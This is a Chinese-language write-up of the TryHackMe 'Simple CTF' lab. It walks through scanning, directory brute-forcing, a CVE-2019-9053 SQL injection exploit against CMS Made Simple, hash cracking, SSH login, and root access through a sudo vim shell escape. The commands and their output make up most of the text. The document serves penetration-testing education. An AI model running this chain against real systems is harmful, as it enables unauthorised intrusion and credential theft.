专业的 TryHackMe Simple CTF 通关指南,涵盖枚举、CMS Made Simple SQL 注入(CVE-2019-9053)、凭据恢复、SSH 访问、通过 Vim 进行权限提升以及获取 root 权限。
这是 TryHackMe 上 Simple CTF 房间的完整通关指南,涵盖侦察、枚举、漏洞利用、凭据恢复、权限提升以及获取 flag。
| 字段 | 值 |
|---|---|
| 平台 | TryHackMe |
| 房间名称 | Simple CTF |
| 难度 | 简单 |
| 分类 | Web 漏洞利用与 Linux 权限提升 |
| 作者 | Saahil Gupta (ImperialX1104) |
本房间的目标是:
Host Discovery
│
▼
Port Enumeration
│
▼
Directory Enumeration
│
▼
CMS Discovery
│
▼
Version Identification
│
▼
SQL Injection (CVE-2019-9053)
│
▼
Credential Extraction
│
▼
Password Cracking
│
▼
SSH Access
│
▼
User Flag
│
▼
Privilege Escalation
│
▼
Root Flag
第一步是验证与目标机器的连通性。
ping 10.49.175.174
主机成功响应,确认目标可达。

执行了一次全面的 Nmap 扫描,以识别暴露的服务。
nmap -A -v 10.49.175.174
| 端口 | 服务 | 版本 |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 80 | HTTP | Apache 2.4.18 |
| 2222 | SSH | OpenSSH 7.2p2 |

访问目标 Web 服务器时,页面显示的是 Apache 默认首页。
http://10.49.175.174

在这个阶段,没有看到明显的攻击面。
为了识别隐藏资源,使用 FFUF 对目录进行了暴力枚举。
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200
simple [Status: 301]

发现了一个名为 /simple 的目录。
访问发现的目录后,发现了一个已安装的 CMS。
http://10.49.175.174/simple

CMS Made Simple 2.2.8
这个版本号后来被证明至关重要。
使用 SearchSploit 对该 CMS 版本进行了漏洞研究。
searchsploit "CMS Made Simple"
CMS Made Simple < 2.2.10 - SQL Injection

识别出一个已知的 SQL 注入漏洞。
将漏洞利用代码复制到本地,以便进行分析和执行。
searchsploit -m 46635
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

针对目标 CMS 实例执行了公开可用的漏洞利用代码。
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt
该漏洞利用代码成功从后端数据库中提取了信息。
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

| 项目 | 值 |
|---|---|
| 用户名 | mitch |
| 邮箱 | [email protected] |
| 盐值 | 1dac0d92e9fa6bb2 |
使用 Hashcat 破解了提取出的哈希值。
hashcat -m 20 hash.txt --show
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
| 字段 | 值 |
|---|---|
| 用户名 | mitch |
| 密码 | secret |

使用恢复的凭据对 SSH 服务进行了测试。
ssh [email protected] -p 2222
secret
Welcome to Ubuntu 16.04.6 LTS

认证成功后,以用户 mitch 的身份获得了 Shell 访问权限。
获得访问权限后,在 Mitch 的主目录中找到了用户 flag。
whoami
cd ~
cat user.txt
G00d j0b, keep up!

检查 sudo 权限时,发现了一个有趣的配置。
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

该配置允许用户无需输入密码即可使用 root 权限执行 Vim。
以 root 身份启动 Vim:
sudo vim
由于 Vim 以提升的权限运行,因此可以利用它访问 root 拥有的文件。

root flag 位于 root 用户目录中。
:! cat /root/root.txt
W3ll d0n3. You made it!

G00d j0b, keep up!
W3ll d0n3. You made it!
Nmap Scan
↓
Web Enumeration
↓
Directory Discovery (/simple)
↓
CMS Made Simple 2.2.8
↓
SearchSploit Research
↓
CVE-2019-9053 SQL Injection
↓
Credential Extraction
↓
Hash Cracking
↓
SSH Login (mitch:secret)
↓
User Flag
↓
sudo -l
↓
Vim Privilege Escalation
↓
Root Flag
存在漏洞的 CMS 在首页上不可见,需要借助目录枚举才能发现。
确定 CMS 的确切版本后,直接找到了对应的已知漏洞。
恢复出的凭据应始终在所有可用服务上进行测试。
允许以特权执行 Vim 等编辑器,可能导致整个系统被攻陷。
该房间展示了一条从初始枚举到完全获取 root 权限的完整攻击链。通过结合 Web 应用枚举、SQL 注入利用、密码破解和 Linux 权限提升等技术,最终完全控制了目标系统。
该房间是了解真实世界渗透测试方法论的绝佳入门,同时强调了及时修补软件、保障凭据安全以及实施最小权限访问控制的重要性。
Saahil Gupta (ImperialX1104)
⭐ 如果你觉得这篇 Writeup 对你有帮助,请考虑为本仓库点一个 Star,并在 GitHub 上与我联系。